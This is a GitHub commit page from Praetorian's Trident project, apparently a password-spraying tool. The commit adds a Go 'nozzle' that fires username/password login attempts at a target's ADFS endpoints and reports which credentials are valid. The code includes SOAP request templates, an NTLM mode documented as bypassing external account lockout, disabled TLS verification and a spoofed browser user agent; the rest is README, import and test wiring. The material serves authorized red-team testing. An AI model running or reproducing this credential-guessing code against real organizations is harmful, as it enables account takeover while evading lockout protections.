Skip to content
This repository has been archived by the owner on Apr 9, 2024. It is now read-only.

Commit

Permalink
ASR-30: add support for adfs nozzle (#5)
Browse files Browse the repository at this point in the history
  • Loading branch information
Anthony Weems authored Sep 30, 2020
1 parent 1035bb0 commit 7c26947
Show file tree
Hide file tree
Showing 11 changed files with 323 additions and 13 deletions.
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,9 @@ from `~/.trident/config.yaml`, which has the following format:
orchestrator-url: https://trident.example.org
providers:
okta:
domain: target-subdomain
subdomain: example
adfs:
domain: adfs.example.org
```
### Campaigns
Expand Down
1 change: 1 addition & 0 deletions cmd/trident-nozzle/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ import (

"github.com/praetorian-inc/trident/pkg/nozzle"

_ "github.com/praetorian-inc/trident/pkg/nozzle/adfs"
_ "github.com/praetorian-inc/trident/pkg/nozzle/okta"
)

Expand Down
1 change: 1 addition & 0 deletions cmd/webhook-worker/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ import (

"github.com/praetorian-inc/trident/pkg/worker/webhook"

_ "github.com/praetorian-inc/trident/pkg/nozzle/adfs"
_ "github.com/praetorian-inc/trident/pkg/nozzle/okta"
)

Expand Down
1 change: 1 addition & 0 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ go 1.14

require (
cloud.google.com/go/pubsub v1.6.1
github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c
github.com/cloudflare/cloudflared v0.0.0-20200820175612-810d268c99ac
github.com/coreos/go-oidc/v3 v3.0.0-alpha.1
github.com/go-chi/chi v4.1.2+incompatible
Expand Down
2 changes: 2 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,8 @@ github.com/Azure/go-autorest/autorest/validation v0.1.0/go.mod h1:Ha3z/SqBeaalWQ
github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=
github.com/Azure/go-autorest/tracing v0.1.0/go.mod h1:ROEEAFwXycQw7Sn3DXNtEedEvdeRAgDr0izn4z5Ij88=
github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk=
github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c h1:/IBSNwUN8+eKzUzbJPqhK839ygXJ82sde8x3ogr6R28=
github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
github.com/BurntSushi/go-sumtype v0.0.0-20190304192233-fcb4a6205bdc/go.mod h1:7yTWMMG2vOm4ABVciEt4EgNVP7fxwtcKIb/EuiLiKqY=
github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
Expand Down
255 changes: 255 additions & 0 deletions pkg/nozzle/adfs/adfs.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,255 @@
// Copyright 2020 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package adfs

import (
"bytes"
"context"
"crypto/tls"
"encoding/xml"
"fmt"
"io/ioutil"
"net/http"
"strings"
"time"

"github.com/Azure/go-ntlmssp"
"golang.org/x/time/rate"

"github.com/praetorian-inc/trident/pkg/event"
"github.com/praetorian-inc/trident/pkg/nozzle"
)

const (
// FrozenUserAgent is a static user agent that we use for all requests. This
// value is based on the UA client hint work within browsers.
// Additional details: https://bugs.chromium.org/p/chromium/issues/detail?id=955620
FrozenUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" +
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3764.0 Safari/537.36"
)

// Driver implements the nozzle.Driver interface.
type Driver struct{}

func init() {
nozzle.Register("adfs", Driver{})
}

// New is used to create an adfs nozzle and accepts the following configuration
// options:
//
// domain
//
// The subdomain of the adfs organization. If a user logs in at
// https://example.adfs.com/adfs/ls, the value of domain is "example.adfs.com".
//
// strategy
//
// The authenticate strategy to use. This can be one of the following:
// usernamemixed (default) or ntlm (bypasses external lockout).
func (Driver) New(opts map[string]string) (nozzle.Nozzle, error) {
domain, ok := opts["domain"]
if !ok {
return nil, fmt.Errorf("adfs nozzle requires 'domain' config parameter")
}

strategy, ok := opts["strategy"]
if !ok {
strategy = "usernamemixed"
}

// Rate limit requests from the same worker to a maximum of 3/s
rl := rate.NewLimiter(rate.Every(300*time.Millisecond), 1)

return &Nozzle{
Domain: domain,
Strategy: strategy,
UserAgent: FrozenUserAgent,
RateLimiter: rl,
}, nil
}

// Nozzle implements the nozzle.Nozzle interface for adfs.
type Nozzle struct {
// Domain is the adfs subdomain
Domain string

// Strategy is the adfs authentication strategy
Strategy string

// UserAgent will override the Go-http-client user-agent in requests
UserAgent string

// RateLimiter controls how frequently we send requests to adfs
RateLimiter *rate.Limiter
}

var (
windowsTransportURL = "https://%s/adfs/services/trust/2005/windowstransport"
windowsTransportRequest = `<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<s:Header>
<wsa:Action>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To>https://%s/adfs/services/trust/2005/windowstransport</wsa:To>
<wsa:MessageID>1</wsa:MessageID>
</s:Header>
<s:Body>
<wst:RequestSecurityToken><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>https://%s</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>`
usernameMixedURL = "https://%s/adfs/services/trust/2005/usernamemixed"
usernameMixedRequest = `<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<s:Header>
<wsa:Action>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To>https://%s/adfs/services/trust/2005/usernamemixed</wsa:To>
<wsa:MessageID>1</wsa:MessageID>
<wsse:Security>
<wsse:UsernameToken>
<wsse:Username>%s</wsse:Username>
<wsse:Password>%s</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>https://%s/adfs/ls</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>`
)

func escape(s string) string {
var b bytes.Buffer
xml.EscapeText(&b, []byte(s)) // nolint:gosec,errcheck
return b.String()
}

func (n *Nozzle) ntlmStrategy(username, password string) (*event.AuthResponse, error) {
url := fmt.Sprintf(windowsTransportURL, n.Domain)
data := fmt.Sprintf(windowsTransportRequest, n.Domain, n.Domain)

client := &http.Client{
Transport: ntlmssp.Negotiator{
RoundTripper: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true, // nolint:gosec
},
},
},
}

req, _ := http.NewRequest("GET", url, strings.NewReader(data))
req.SetBasicAuth(username, password)
req.Header.Add("Content-Type", "application/soap+xml")
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close() // nolint:errcheck

if resp.StatusCode == 503 {
return nil, fmt.Errorf("ntlm not enabled externally")
}

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}

return &event.AuthResponse{
Valid: resp.StatusCode == 200,
MFA: false,
Locked: false,
Metadata: map[string]interface{}{
"xml": string(body),
},
}, nil
}

func (n *Nozzle) usernameMixedStrategy(username, password string) (*event.AuthResponse, error) {
url := fmt.Sprintf(usernameMixedURL, n.Domain)
data := fmt.Sprintf(usernameMixedRequest,
n.Domain, escape(username), escape(password), n.Domain)

client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true, // nolint:gosec
},
},
}

req, _ := http.NewRequest("GET", url, strings.NewReader(data))
req.Header.Add("Content-Type", "application/soap+xml")
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close() // nolint:errcheck

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}

return &event.AuthResponse{
Valid: resp.StatusCode == 200,
MFA: false,
Locked: false,
Metadata: map[string]interface{}{
"status": resp.StatusCode,
"xml": string(body),
},
}, nil
}

// Login fulfils the nozzle.Nozzle interface and performs an authentication
// requests against adfs. This function supports rate limiting and parses valid,
// invalid, and locked out responses.
func (n *Nozzle) Login(username, password string) (*event.AuthResponse, error) {
ctx := context.Background()
err := n.RateLimiter.Wait(ctx)
if err != nil {
return nil, err
}

if n.Strategy == "ntlm" {
return n.ntlmStrategy(username, password)
}

// Default strategy is usernamemixed
return n.usernameMixedStrategy(username, password)
}
47 changes: 47 additions & 0 deletions pkg/nozzle/adfs/adfs_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
// Copyright 2020 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package adfs

import (
"math/rand"
"os"
"testing"
"time"

"github.com/praetorian-inc/trident/pkg/nozzle"
)

func TestMain(m *testing.M) {
rand.Seed(time.Now().UTC().UnixNano())
v := m.Run()
os.Exit(v)
}

func TestNozzle(t *testing.T) {
_, err := nozzle.Open("adfs", map[string]string{
"domain": "adfs.example.com",
})
if err != nil {
t.Fatalf("unable to open nozzle: %s", err)
}

_, err = nozzle.Open("adfs", map[string]string{
"domain": "adfs.example.com",
"strategy": "ntlm",
})
if err != nil {
t.Fatalf("unable to open nozzle: %s", err)
}
}
3 changes: 2 additions & 1 deletion pkg/nozzle/nozzle.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,10 +20,11 @@
// import (
// "github.com/praetorian-inc/trident/pkg/nozzle"
//
// _ "github.com/praetorian-inc/trident/pkg/nozzle/adfs"
// _ "github.com/praetorian-inc/trident/pkg/nozzle/okta"
// )
//
// noz, err := nozzle.Open("okta", map[string]string{"domain":"example"})
// noz, err := nozzle.Open("okta", map[string]string{"subdomain":"example"})
// if err != nil {
// // handle error
// }
Expand Down
Loading

0 comments on commit 7c26947

Please sign in to comment.